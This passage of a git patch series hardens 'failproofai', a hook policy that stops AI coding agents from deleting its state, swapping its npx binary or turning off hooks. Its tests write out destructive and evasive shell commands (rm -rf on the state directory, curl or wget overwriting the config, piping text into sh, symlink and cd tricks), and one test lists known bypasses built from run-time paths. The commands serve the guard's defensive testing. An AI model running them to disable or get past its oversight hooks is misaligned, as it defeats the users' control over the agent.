boolean => { + for (const word of agentSettingsWordForms(raw)) { + if (!word || word.startsWith("-") || (word.includes("$") && !/^\$\{?HOME\}?(?:[\\/]|$)/.test(word))) continue; + const key = `${cwd ?? ""}\0${word}`; + let hit = physicalHits.get(key); + if (hit === undefined) { + const physical = physicalAgentPath(word, cwd, physicalBases); + hit = physical !== null && physical !== resolveAgentSettingsCandidate(word, cwd) && names(physical); + physicalHits.set(key, hit); + } + if (hit) return true; + } + return false; + }; + return { names, hint, throughLinks }; } /** Whether a program handed to an interpreter builds an agent settings path. */ diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 20d38a314..6ad0fb0ed 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1571,6 +1571,11 @@ interface ProtectedPathTarget { * one; the rest of a long command is not worth a path resolution per word. */ hint?: RegExp; + /** + * Whether a word leads to the target through a symlink (relative to `cwd` + * when relative). Asked of every word, ahead of `hint`, which reads only text. + */ + namesThroughLinks?(word: string, cwd: string | undefined): boolean; } /** failproofai's own state. Names, not copies, so widening any of them widens the walk. */ @@ -1602,6 +1607,7 @@ function agentSettingsShellTarget(cwd: string | undefined, extraPaths: readonly harmlessCommands: AGENT_SETTINGS_HARMLESS_COMMANDS, cwd, hint: matcher.hint, + namesThroughLinks: matcher.throughLinks, }; } @@ -1649,6 +1655,9 @@ const MASK_TRANSPARENT_WORDS: ReadonlySet = new Set([ /** Characters that steer the walk and mean nothing to the shell inside a quoted argument. */ const MASKABLE_IN_QUOTES = "\n\r;&|<>()"; +/** What a quoted message holds and a quoted word does not. */ +const NOT_IN_A_QUOTED_WORD = ` \t\v\f${MASKABLE_IN_QUOTES}`; + /** One command context: the top level, a `$(…)`, a backtick or a `( … )` subshell. */ interface LexCommandFrame { kind: "cmd"; @@ -1667,6 +1676,15 @@ interface LexQuoteFrame { kind: "sq" | "dq" | "ansi"; /** Blank separators inside: the command receiving this argument is not a shell. */ mask: boolean; + /** Where the quoted text starts. */ + start: number; + /** + * Nothing inside so far that a message has and a word does not: no blank, + * separator, escape or expansion. Such a quote is a quoted WORD, and + * `commandsOnly` gives it back when it closes — `codex features disable + * "hooks"` is that command whether or not `hooks` is quoted. + */ + plain: boolean; } interface LexArithFrame { @@ -1791,7 +1809,7 @@ function heredocIsStoredText( doc: PendingHeredoc, own: LexEndedCommand, downstream: LexEndedCommand[], - later: { runsText: boolean; names: ReadonlySet }, + later: { runsText: boolean; names: { has(name: string): boolean } }, substitutionBody: boolean, ): boolean { if (later.runsText) return false; @@ -1936,12 +1954,40 @@ function lexShell(text: string, substitutionBody = false): ShellLex { frame.words = []; }; const quoteMask = (frame: LexCommandFrame): boolean => frame.head !== null && !isShellHead(frame.head); + const closeQuote = (frame: LexQuoteFrame, end: number): void => { + if (!frame.mask || !frame.plain) return; + for (let k = frame.start; k < end; k++) blanks[k] &= ~COMMANDS; + }; const blankStored = (start: number, end: number, literal: boolean): void => { for (let k = start; k < end; k++) { if (text[k] === "\n") continue; blankAt(k, READABLE | SPLITTABLE | COMMANDS | (literal ? SUBSTITUTION : 0)); } }; + // Whether anything from `pos` on pipes into a shell or `eval`s, and whether + // a file name appears from `pos` on. `pos` only grows, and each answer comes + // from a scan that never goes back over text: the next match of + // RUNS_TEXT_LATER_RE, and the last place each name appears. `pos` follows a + // newline, which stands in for the start of the text the regex once saw. + let nextRunsText = -2; + let lastNamed: Map | undefined; + const runsTextFrom = (pos: number): boolean => { + if (nextRunsText === -1) return false; + if (nextRunsText >= pos - 1) return true; + const scan = new RegExp(RUNS_TEXT_LATER_RE.source, "g"); + scan.lastIndex = Math.max(0, pos - 1); + nextRunsText = scan.exec(text)?.index ?? -1; + return nextRunsText !== -1; + }; + const namedFrom = (name: string, pos: number): boolean => { + if (lastNamed === undefined) { + lastNamed = new Map(); + for (const word of text.matchAll(/[^\s;&|<>()'"`=]+/g)) { + lastNamed.set(word[0].slice(word[0].lastIndexOf("/") + 1), word.index); + } + } + return (lastNamed.get(name) ?? -1) >= pos; + }; /** Read every pending heredoc's body, starting at `at`; return where lexing resumes. */ const consumeBodies = (at: number): number => { let pos = at; @@ -1963,13 +2009,11 @@ function lexShell(text: string, substitutionBody = false): ShellLex { spans.push({ doc, start: pos, end: bodyEnd }); pos = next; } - // What runs after the bodies, read once for every heredoc on the line: a - // check per heredoc made thousands of operators on one line quadratic. - const rest = text.slice(pos); - const later = { - runsText: RUNS_TEXT_LATER_RE.test(rest), - names: new Set(rest.split(/[\s;&|<>()'"`=]+/).map((word) => word.slice(word.lastIndexOf("/") + 1))), - }; + // What runs after the bodies, once for every heredoc on the line (a check + // per heredoc made thousands of operators on one line quadratic), and + // looked up rather than read: reading the rest of the text again for each + // line of heredocs made a script of them quadratic. + const later = { runsText: runsTextFrom(pos), names: { has: (name: string) => namedFrom(name, pos) } }; for (const { doc, start, end } of spans) { const own = lineCommands[doc.commandIndex] ?? { head: null, words: [] }; const downstream = lineCommands.slice(doc.commandIndex + 1); @@ -1987,16 +2031,20 @@ function lexShell(text: string, substitutionBody = false): ShellLex { const ch = text[i]; const frame = stack[stack.length - 1]; if (frame.kind === "sq") { - if (ch === "'") stack.pop(); - else if (frame.mask) { + if (ch === "'") { + closeQuote(frame, i); + stack.pop(); + } else if (frame.mask) { if (MASKABLE_IN_QUOTES.includes(ch)) blankAt(i, SPLITTABLE); if (ch !== "\n") blankAt(i, COMMANDS); + if (frame.plain && NOT_IN_A_QUOTED_WORD.includes(ch)) frame.plain = false; } i++; continue; } if (frame.kind === "ansi") { if (ch === "\\") { + frame.plain = false; if (frame.mask) { blankAt(i, COMMANDS); if (i + 1 < n && text[i + 1] !== "\n") blankAt(i + 1, COMMANDS); @@ -2004,10 +2052,13 @@ function lexShell(text: string, substitutionBody = false): ShellLex { i += 2; continue; } - if (ch === "'") stack.pop(); - else if (frame.mask) { + if (ch === "'") { + closeQuote(frame, i); + stack.pop(); + } else if (frame.mask) { if (MASKABLE_IN_QUOTES.includes(ch)) blankAt(i, SPLITTABLE); if (ch !== "\n") blankAt(i, COMMANDS); + if (frame.plain && NOT_IN_A_QUOTED_WORD.includes(ch)) frame.plain = false; } i++; continue; @@ -2035,7 +2086,7 @@ function lexShell(text: string, substitutionBody = false): ShellLex { continue; } if (ch === "'" || ch === '"') { - stack.push({ kind: ch === "'" ? "sq" : "dq", mask: true }); + stack.push({ kind: ch === "'" ? "sq" : "dq", mask: true, start: i + 1, plain: true }); i++; continue; } @@ -2059,6 +2110,7 @@ function lexShell(text: string, substitutionBody = false): ShellLex { } if (frame.kind === "dq") { if (ch === "\\") { + frame.plain = false; if (frame.mask) { blankAt(i, COMMANDS); if (i + 1 < n && text[i + 1] !== "\n") blankAt(i + 1, COMMANDS); @@ -2067,10 +2119,12 @@ function lexShell(text: string, substitutionBody = false): ShellLex { continue; } if (ch === '"') { + closeQuote(frame, i); stack.pop(); i++; continue; } + if (ch === "`" || (ch === "$" && (text[i + 1] === "(" || text[i + 1] === "{"))) frame.plain = false; // The parentheses of `$(…)` and `$((…))` open no subshell: blanked where // the walk counts subshells, so a `cd "$(dirname …)"` keeps its reach. if (ch === "$" && text[i + 1] === "(" && text[i + 2] === "(") { @@ -2099,6 +2153,7 @@ function lexShell(text: string, substitutionBody = false): ShellLex { if (frame.mask) { if (MASKABLE_IN_QUOTES.includes(ch)) blankAt(i, SPLITTABLE); if (ch !== "\n") blankAt(i, COMMANDS); + if (frame.plain && NOT_IN_A_QUOTED_WORD.includes(ch)) frame.plain = false; } i++; continue; @@ -2120,7 +2175,12 @@ function lexShell(text: string, substitutionBody = false): ShellLex { continue; } if (ch === "'" || ch === '"' || (ch === "$" && text[i + 1] === "'")) { - stack.push({ kind: ch === "'" ? "sq" : ch === '"' ? "dq" : "ansi", mask: quoteMask(command) }); + stack.push({ + kind: ch === "'" ? "sq" : ch === '"' ? "dq" : "ansi", + mask: quoteMask(command), + start: i + (ch === "$" ? 2 : 1), + plain: true, + }); command.word += "q"; i += ch === "$" ? 2 : 1; continue; @@ -2612,9 +2672,11 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep } // The directory the shell stands in, where the text says. Undefined once it - // cannot be known; `pushd` keeps the one it left for `popd` to return to. + // cannot be known; `pushd` keeps the one it left for `popd` to return to, on + // a stack shared by reference, so a subshell can hand the parent's back. let walkCwd = target.cwd; - const dirStack: Array = []; + type DirStack = { dir: string | undefined; below: DirStack } | null; + let dirStack: DirStack = null; const namesState = (text: string): boolean => { if (target.namesLiteral(text)) return true; @@ -2629,6 +2691,7 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep return spliced.split(/\s+/).some((token) => { const word = unquotedToken(token); if (globCouldNameTarget(word, target)) return true; + if (target.namesThroughLinks?.(word, walkCwd)) return true; if (walkCwd === undefined) return false; // A relative word lands where the shell stands: `settings.json` after // `cd ~/.claude`, `opencode` after `cd ~/.config`. Only words that could @@ -2646,22 +2709,33 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep }; // Programs handed to an interpreter, judged whole (see INLINE_PROGRAM_RE). + // Found where the interpreter really is a command: through the comment and + // stored-text masks (`readable`), and only where its name is still there in + // `commandsOnly`, which also blanks what a command that is not a shell takes + // as a quoted argument — the example in `git commit -m 'Refuse python3 -c + // "…"'`. Line continuations become blanks of the same width, so an offset in + // one view is the same place in the other. const namesProgram = (program: string): boolean => (target.namesProgram ?? target.namesLiteral)(program) || namesState(program); - for (const [, program] of command.replace(/\\\r?\n/g, " ").matchAll(INLINE_PROGRAM_RE)) { - if (namesProgram(program)) return true; + const programText = lexed.readable.replace(/\\\r?\n/g, (joined) => " ".repeat(joined.length)); + for (const match of programText.matchAll(INLINE_PROGRAM_RE)) { + const at = match.index + (/^[\s;&|(\x60]/.test(match[0]) ? 1 : 0); + if (lexed.commandsOnly[at] !== programText[at]) continue; + if (namesProgram(match[1])) return true; } for (const body of lexed.programBodies) { if (namesProgram(body)) return true; } let cwdInState = false; - // How deep in `( … )` the walk is, and how deep it was when the `cd` fired. - // A `cd` inside a subshell moves the subshell only, so the window closes when - // the parenthesis does: `(cd ~/.failproofai && cat x); rm -rf node_modules` - // was denying a cleanup in an entirely unrelated directory. + // How deep in `( … )` the walk is. A `cd`, `pushd` or `popd` inside a + // subshell moves the subshell only, so where the shell stood — its + // directory, its `pushd` stack, and whether that was inside the target — + // comes back when the parenthesis closes: `(cd ~/.failproofai && cat x); rm + // -rf node_modules` was denying a cleanup in an entirely unrelated + // directory, and `(cd /tmp; pushd /tmp); popd` handed the parent a stack + // entry it never had. let parenDepth = 0; - let cdParenDepth: number | null = null; - const cwdScopes: Array<{ depth: number; cwd: string | undefined }> = []; + const cwdScopes: Array<{ depth: number; cwd: string | undefined; inState: boolean; dirs: DirStack }> = []; // A loop header hands its word list to the body, and the body is a separate // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do // rm -rf $f; done` is a header that only expands and a body that only deletes @@ -2698,7 +2772,8 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep } } - for (const [simpleIndex, [simpleStart, simpleEnd]] of cutRanges(splitPipeline, /\|/).entries()) { + const simples = cutRanges(splitPipeline, /\|/); + for (const [simpleIndex, [simpleStart, simpleEnd]] of simples.entries()) { const simple = pipeline.slice(simpleStart, simpleEnd); const splitSimple = splitPipeline.slice(simpleStart, simpleEnd); parenDepth += (splitSimple.match(/\(/g) ?? []).length; @@ -2708,21 +2783,39 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep const head = words.length > 0 ? commandBasename(words[0]) : ""; // Track the shell's position before judging: a `cd` INTO the state makes // every later relative path a state path, and a `cd` back out ends that. - if (head === "cd" || head === "pushd") { - // Quote-aware, so `cd "$(dirname ~/.claude/settings.json)"` is one operand. - const operand = quoteAwareCommandWords(simple).words.slice(1).find((w) => !w.startsWith("-")); - cwdInState = operand !== undefined && namesState(operand); - cdParenDepth = cwdInState ? parenDepth : null; - if (head === "pushd") dirStack.push(walkCwd); - if (parenDepth > 0) cwdScopes.push({ depth: parenDepth, cwd: walkCwd }); - walkCwd = cdDestination(walkCwd, operand); - } else if (head === "popd") { - // `popd` returns to wherever the shell was before `pushd`, which ends - // the window as surely as a `cd` out does. Without it every command for - // the rest of the line was judged as if it stood in the state directory. - cwdInState = false; - cdParenDepth = null; - walkCwd = dirStack.length > 0 ? dirStack.pop() : undefined; + if (head === "cd" || head === "pushd" || head === "popd") { + // Every command of a pipeline runs in a subshell, so one before a `|` + // moves nothing: `cd ~/.claude | cat; cp x settings.json` copies into + // the directory the shell already stood in. zsh runs the LAST command + // in the shell itself and bash does not, so after that one the walk no + // longer knows where the shell stands, and counts it inside the target + // when either place is. + if (simpleIndex === simples.length - 1) { + if (parenDepth > 0) cwdScopes.push({ depth: parenDepth, cwd: walkCwd, inState: cwdInState, dirs: dirStack }); + const before = walkCwd; + if (head === "popd") { + // `popd` returns to wherever the shell was before `pushd`, which + // ends the window as surely as a `cd` out does. Without it every + // command for the rest of the line was judged as if it stood in + // the state directory. On an empty stack it fails and the shell + // stays where it is. + if (dirStack !== null) { + cwdInState = false; + walkCwd = dirStack.dir; + dirStack = dirStack.below; + } + } else { + // Quote-aware, so `cd "$(dirname ~/.claude/settings.json)"` is one operand. + const operand = quoteAwareCommandWords(simple).words.slice(1).find((w) => !w.startsWith("-")); + cwdInState = operand !== undefined && namesState(operand); + if (head === "pushd") dirStack = { dir: walkCwd, below: dirStack }; + walkCwd = cdDestination(walkCwd, operand); + } + if (simples.length > 1) { + cwdInState ||= (before !== undefined && namesState(before)) || (walkCwd !== undefined && namesState(walkCwd)); + walkCwd = undefined; + } + } } else if (reachesState && simpleIndex > 0 && quoteAwareCommandWords(simple).readsStdinProgram) { // A bare shell or interpreter after a pipe runs the text piped into it: // `echo 'rm -rf ~/.claude' | sh`. Whatever names the target upstream is @@ -2739,12 +2832,11 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep if (simpleCommandDestroys(words, namesHere, target, simple, cwdInState)) return true; } parenDepth -= (splitSimple.match(/\)/g) ?? []).length; - if (cdParenDepth !== null && parenDepth < cdParenDepth) { - cwdInState = false; - cdParenDepth = null; - } while (cwdScopes.length > 0 && parenDepth < cwdScopes[cwdScopes.length - 1].depth) { - walkCwd = cwdScopes.pop()!.cwd; + const scope = cwdScopes.pop()!; + walkCwd = scope.cwd; + cwdInState = scope.inState; + dirStack = scope.dirs; } } } diff --git a/src/hooks/claude-hooks-switch.ts b/src/hooks/claude-hooks-switch.ts index f2efb6e1f..c0b2f277a 100644 --- a/src/hooks/claude-hooks-switch.ts +++ b/src/hooks/claude-hooks-switch.ts @@ -12,21 +12,70 @@ * Pure apart from the reads, which go through a seam: `config --status` passes * the real files, tests pass their own. */ -import { readFileSync } from "node:fs"; +import { existsSync, lstatSync, readFileSync } from "node:fs"; +import { homedir } from "node:os"; +import { dirname, join, resolve } from "node:path"; -/** Where Claude Code looks for the managed (enterprise) settings file. */ +/** + * Where Claude Code looks for the managed (enterprise) settings file. It no + * longer reads the old Windows location, `C:\ProgramData\ClaudeCode`. + */ export const CLAUDE_MANAGED_SETTINGS_PATHS: Readonly>> = { linux: "/etc/claude-code/managed-settings.json", darwin: "/Library/Application Support/ClaudeCode/managed-settings.json", + win32: "C:\\Program Files\\ClaudeCode\\managed-settings.json", }; /** The settings files that can decide `disableAllHooks`, highest precedence first. */ export function claudeSettingsLayersByPrecedence( - scopes: { user: string; project: string; local: string }, + scopes: { user: string; project: string; local: string | readonly string[] }, + managed: string | undefined = CLAUDE_MANAGED_SETTINGS_PATHS[process.platform], +): string[] { + const local = typeof scopes.local === "string" ? [scopes.local] : scopes.local; + return [...(managed ? [managed] : []), ...local, scopes.project, scopes.user]; +} + +/** The nearest directory at or above `cwd` holding a `.git` (a worktree's is a file). */ +function gitRepositoryRoot(cwd: string): string | null { + let dir = resolve(cwd); + for (let depth = 0; depth < 256; depth++) { + if (existsSync(join(dir, ".git"))) return dir; + const parent = dirname(dir); + if (parent === dir) return null; + dir = parent; + } + return null; +} + +/** Whether the repository root, its `.git` and its `.claude` (where present) are the user's own. */ +function ownedByCurrentUser(root: string): boolean { + const uid = process.getuid?.(); + if (uid === undefined) return true; + return [root, join(root, ".git"), join(root, ".claude")].every((path) => { + const stat = lstatSync(path, { throwIfNoEntry: false }); + return stat === undefined || stat.uid === uid; + }); +} + +/** + * Where Claude Code reads a project's `settings.local.json`, current place + * first. Since v2.1.211 a session started in a subdirectory of a git + * repository keeps it at the repository root — except outside a repository, + * when that root is the home directory, on Windows, or when the root, its + * `.git` or its `.claude` is not the user's — and it still reads one an older + * version left in the starting directory. + */ +export function claudeLocalSettingsPaths( + cwd: string, platform: NodeJS.Platform = process.platform, + home: string = homedir(), ): string[] { - const managed = CLAUDE_MANAGED_SETTINGS_PATHS[platform]; - return [...(managed ? [managed] : []), scopes.local, scopes.project, scopes.user]; + const here = join(resolve(cwd), ".claude", "settings.local.json"); + if (platform === "win32") return [here]; + const root = gitRepositoryRoot(cwd); + if (root === null || root === resolve(home) || !ownedByCurrentUser(root)) return [here]; + const atRoot = join(root, ".claude", "settings.local.json"); + return atRoot === here ? [here] : [atRoot, here]; } /** diff --git a/src/hooks/config-status.ts b/src/hooks/config-status.ts index 60a793d3b..6d3d6ced6 100644 --- a/src/hooks/config-status.ts +++ b/src/hooks/config-status.ts @@ -24,7 +24,12 @@ import { readFileSync } from "node:fs"; import { resolve } from "node:path"; import { readCloudCredentials } from "./cloud-enrollment"; -import { claudeHooksSwitchedOffBy, claudeSettingsLayersByPrecedence } from "./claude-hooks-switch"; +import { + CLAUDE_MANAGED_SETTINGS_PATHS, + claudeHooksSwitchedOffBy, + claudeLocalSettingsPaths, + claudeSettingsLayersByPrecedence, +} from "./claude-hooks-switch"; import { CODEX_UNTRUSTED_NOTICE, codexHookTrust, type CodexHookTrust } from "./codex-system-hooks"; import { describeMachine } from "./cloud-enrollment-cli"; import { cloudBaseFor } from "./cloud-connection"; @@ -401,15 +406,21 @@ function readCodexTrust(deps: StatusDeps): CodexHookTrust { * Asked only when failproofai's Claude hooks are installed at some scope: the * key matters to this screen only because it silences them. Never throws. */ -export function claudeHooksSwitchedOff(cwd: string): string | null { +export function claudeHooksSwitchedOff( + cwd: string, + managed: string | undefined = CLAUDE_MANAGED_SETTINGS_PATHS[process.platform], +): string | null { const installed = HOOK_SCOPES.some((scope) => claudeCode.hooksInstalledInSettings(scope, cwd)); if (!installed) return null; return claudeHooksSwitchedOffBy( - claudeSettingsLayersByPrecedence({ - user: claudeCode.getSettingsPath("user", cwd), - project: claudeCode.getSettingsPath("project", cwd), - local: claudeCode.getSettingsPath("local", cwd), - }), + claudeSettingsLayersByPrecedence( + { + user: claudeCode.getSettingsPath("user", cwd), + project: claudeCode.getSettingsPath("project", cwd), + local: claudeLocalSettingsPaths(cwd), + }, + managed, + ), ); } From 2baab1c8ac95a9ae0b58ab39637c0da53cfa6498 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:17:00 +0530 Subject: [PATCH 18/89] [hooks] Address second review: quoted words, cd cost, false positives (#1795) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A fresh review of 248036ec found two regressions, a slowdown and new false positives; all are reproduced in the test file (159 cases: 100 fail on #1050's head, all pass here). - The redirect/comment-trimmed word list cut real words after a quoted `#` or `<` (`find ~/.failproofai -name 'x #' -o -delete` was allowed). The walk now judges the full and the trimmed list and denies when either does. `{fd}>` redirects are recognised. - The .bin pattern accepts anything that is not part of a name before it, and a glued short option (`>.bin/…`, `-O.bin/…`). - Performance: the shell's directory is kept as its last 16 segments with `.` and `..` resolved, words are resolved only when they or the directory spell failproof or are globs, and results are memoised. A 700-step cd script fell from 28.9 s to about 30 ms; the glob prefix loop stops at the deepest candidate (a 2,000-segment glob: 1.7 s to 60 ms). - False positives: only npm's node_modules/.bin counts as the bin directory (`mv tool ~/.bin/` is allowed), `ln` with a trailing `/` and any `-t` cannot create it, and mid-path glob stretches are tried only against multi-segment candidates (`rm -rf models/*ai`, `sed -i 's/.*ai/X/'`). Other users' homes are matched as /home/u. - Also closed: pushd/popd stack, `cd -`, `$PWD`, variables the line assigns (so `X=ai; rm -rf ~/.failproof$X` is caught: state-guard's known-gap line moves to the new file, as #1053 does), quotes around parentheses, `..`, abbreviated long options and rsync's full value-taking list, glob sources and a directory named .bin moved into a node_modules, and the session's cwd (or Antigravity's run_command cwd) as the starting directory. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 90 ++++++ __tests__/hooks/state-guard.test.ts | 3 +- src/hooks/builtin-policies.ts | 297 ++++++++++++++------ 3 files changed, 302 insertions(+), 88 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 69a2c276a..750dd32c8 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -30,6 +30,9 @@ const policy = BUILTIN_POLICIES.find((p) => p.name === "block-failproofai-comman const bash = async (command: string) => (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command } }))).decision; +const bashIn = async (cwd: string, command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command }, session: { cwd } }))).decision; + const write = async (file_path: string, cwd?: string) => policy.fn( makeCtx({ @@ -266,6 +269,52 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bash(command)).toBe("deny"); }); + // A word is read without knowing whether it sits in quotes, so a quoted + // `#` or `<` must not hide the words after it. + it.each([ + ["a quoted # before an output flag", "curl -sS -H 'X-Ticket: #1795' -o ~/.failproofai/policies-config.json https://example.com/c"], + ["a quoted # before -delete", "find ~/.failproofai -name 'x #' -o -delete"], + ["a quoted # before tee's file", "printf 'exit 0' | tee 'a #' node_modules/.bin/failproofai"], + ["a quoted < in an option value", 'cp /tmp/stub.sh --suffix "y < " node_modules/.bin/failproofai'], + ["a {fd} redirect after the destination", "cp /tmp/stub.sh node_modules/.bin/failproofai {fd}>/dev/null"], + ["an abbreviated option's value after the destination", "cp /dev/null ~/.failproofai/policies-config.json --suf x"], + ["an rsync option's value after the destination", "rsync /tmp/stub.sh node_modules/.bin/failproofai --max-delete 5"], + ["a .. that steps back into .bin", "cp /tmp/stub.sh node_modules/.bin/x/../failproofai"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // Paths built from what the same line assigns, and the shell's position + // carried through every way a shell moves it. + it.each([ + ["a variable holding the directory", "D=node_modules/.bin; cp /tmp/stub.sh $D/failproofai"], + ["a variable spliced into the state", "X=ai; rm -rf ~/.failproof$X"], + ["a variable holding npm's bin directory", "B=~/node_modules/.bin; ln -s /tmp/stage $B"], + ["a cd into a variable", "D=node_modules/.bin; cd $D && cp /tmp/stub.sh failproofai"], + ["$PWD after a cd", "cd node_modules/.bin && cp /tmp/stub.sh $PWD/failproofai"], + ["popd back to the directory", "pushd node_modules/.bin && pushd /tmp && popd && cp /tmp/stub.sh failproofai"], + ["cd - back to the directory", "cd node_modules/.bin && cd /tmp && cd - && cp /tmp/stub.sh failproofai"], + ["parentheses inside quotes", 'echo "(" && cd node_modules/.bin && echo ")" && cp /tmp/stub.sh failproofai'], + ["a directory named .bin moved into a node_modules", "mv /tmp/x/.bin ~/node_modules/"], + ["a glob of sources into the directory", "cp /tmp/stage/* node_modules/.bin/"], + ["a glob of sources after -t", "cp -t node_modules/.bin /tmp/stage/*"], + ["an abbreviated --recursive", "cp --rec /tmp/stage ~/node_modules/.bin"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // The session's directory is where the command starts: a `cd` in an + // earlier call persists. + it.each([ + ["/work/proj/node_modules/.bin", "cp /tmp/stub.sh failproofai"], + ["/work/proj/node_modules/.bin", "printf 'exit 0' > failproofai"], + ["/work/proj/node_modules", "echo 'exit 0' >.bin/failproofai"], + ["/work/proj/node_modules", "printf x 2>.bin/failproofai"], + ["/work/proj/node_modules", "wget -q -O.bin/failproofai https://example.com/x"], + ])("denies a write from the session directory %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + it.each([ ["running another package's binary", "./node_modules/.bin/vitest run"], ["running a binary through node", "node node_modules/.bin/eslint src"], @@ -295,9 +344,50 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a cd that a subshell undoes", "(cd node_modules/.bin && ls) && cp /tmp/stub.sh failproofai"], ["copying a tool after a cd", "cd node_modules/.bin && cp /tmp/stage/my-tool ."], ["clearing a tree's .bin directories", "rm -rf ~/projects/*/node_modules/.bin/*"], + // Somebody's own `~/.bin` is not npm's. + ["moving a tool into ~/.bin", "mv /tmp/tool ~/.bin/"], + ["linking a script into ~/.bin", "ln -s ~/dotfiles/scripts/deploy ~/.bin/"], + ["copying scripts into ~/.bin", "cp -r ./scripts/ ~/.bin/"], + ["syncing dotfiles into ~/.bin", "rsync -a dotfiles/bin/ ~/.bin/"], + ["moving a binary into a project's .bin", "mv golangci-lint .bin/"], + // `ln` cannot create a directory given a trailing `/`. + ["linking a package's CLI into node_modules/.bin/", "ln -s ../my-pkg/cli.js node_modules/.bin/"], + // A one-segment glob below another directory is not aimed at the state. + ["a glob ending in ai", "rm -rf models/*ai"], + ["a glob ending in i", "rm -f out/*i"], + ["a glob around proof", "rm -rf vendor/*proof*"], + ["a dotfile glob in a cache", "rm -rf ~/.cache/.f*"], + ["a sed program that looks like a glob", "sed -i 's/.*ai/X/' notes.txt"], + ["a commit message with a #", "git commit -m 'fix #12: cp a b'"], + ["a loop copying files out", "for f in *.txt; do cp $f /tmp/; done"], + ["a cd and a build", "cd packages/api && npm run build"], + ["clearing a scratch directory", "cd /tmp && rm -rf *"], ])("allows %s", async (_label, command) => { expect(await bash(command)).not.toBe("deny"); }); + + it.each([ + ["a checkout of failproofai itself", "/home/u/src/failproofai", "npm test"], + ["a checkout of failproofai itself", "/home/u/src/failproofai", "rm -rf dist"], + ["node_modules/.bin", "/work/proj/node_modules/.bin", "cp README.md /tmp/"], + ["node_modules/.bin", "/work/proj/node_modules/.bin", "./vitest run"], + ])("allows ordinary work from %s", async (_label, cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + // The walk runs on every tool call, and one evaluation holds up every hook + // on the machine. A directory that grew with each `cd` made later words + // slower to judge without bound (28.9 s for the first input in review). + it.each([ + ["a script of 700 cd / build / cd ../.. steps", "bash <<'EOF'\n" + Array.from({ length: 700 }, (_, i) => `cd packages/pkg-${i}\nnpm run build\ncd ../..`).join("\n") + "\nEOF"], + ["2,000 relative cds", Array(2000).fill("cd a").join(" && ") + " && ls"], + ["1,000 cds into globs", Array(1000).fill("cd a*").join(" && ") + " && ls"], + ["a 2,000-segment glob", "rm -rf " + Array(2000).fill("*").join("/")], + ])("judges %s in bounded time", async (_label, command) => { + const started = performance.now(); + await bash(command); + expect(performance.now() - started).toBeLessThan(3000); + }); }); // The guard protects the entry by NAME, so it has to be the name every diff --git a/__tests__/hooks/state-guard.test.ts b/__tests__/hooks/state-guard.test.ts index 11a84cbfd..3bf819b32 100644 --- a/__tests__/hooks/state-guard.test.ts +++ b/__tests__/hooks/state-guard.test.ts @@ -655,8 +655,9 @@ describe("block-failproofai-commands — the state guard", () => { // when the path is BUILT at run time the literal never appears, so there is // nothing to match. The real fix is action-gating on the resolved path, // which is not something a string check can do. + // (`~/.failproof$X` used to sit here too. The walk now expands a variable + // the same line assigns, so that one is caught; see guard-npx-local-bin.test.ts.) it("does not catch a path assembled at run time", async () => { - expect(await decide("X=ai; rm -rf ~/.failproof$X")).toBe("allow"); expect(await decide('echo ~/.failproofai > /tmp/t; rm -rf "$(cat /tmp/t)"')).toBe("allow"); expect(await decide("find ~ -inum 12345 -delete")).toBe("allow"); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 4b0464b1c..757e5e599 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -512,11 +512,13 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // npx cache). With the shims npm (`.cmd`, `.ps1`) and bun (`.exe`, `.bunx`) // write beside it on Windows. Not anchored on `node_modules`, so the // relative `.bin/failproofai` a command run from inside `node_modules` - // names is the same file; anchored on the start of a path component, so - // `firmware.bin/failproofai` is not it. A FILE, like the entry above: the - // rest of `node_modules/.bin` (every other package's binary, run by path - // all the time) stays out of it. - String.raw`(?.bin/…`), and so may a glued short option + // (`-O.bin/…`). A FILE, like the entry above: the rest of + // `node_modules/.bin` (every other package's binary, run by path all the + // time) stays out of it. + String.raw`(?:(? candidate.split("/").length)); +/** + * The candidates a mid-path stretch is tried against: the relative ones of two + * segments or more (`node_modules/failproofai`, `node_modules/.bin/failproofai`), + * which stand for the same files under any directory. + */ +const MULTI_SEGMENT_GLOB_CANDIDATES = STATE_GLOB_CANDIDATES.filter( + (candidate) => /^[^~/$]/.test(candidate) && candidate.replace(/^\.\//, "").includes("/"), +); + /** * Ordinary paths a targeted pattern must NOT be able to match. * @@ -1094,19 +1109,27 @@ function wordNamesState(word: string): boolean { // segment that is not the last one — compiled to a pattern that could never // equal `~/.failproofai` and was read as naming nothing. Naming a file INSIDE // the state is naming the state. - const segments = word.split("/"); - for (let end = 1; end <= segments.length; end++) { + // Somebody else's home is the same place as the candidates' `/home/u`: + // `/home/alice/.failproof*` and `~alice/.failproof*` named nothing. + const segments = word + .replace(/^\/(home|Users)\/[^/]+(?=\/)/, "/$1/u") + .replace(/^~[A-Za-z0-9._-]+(?=\/)/, 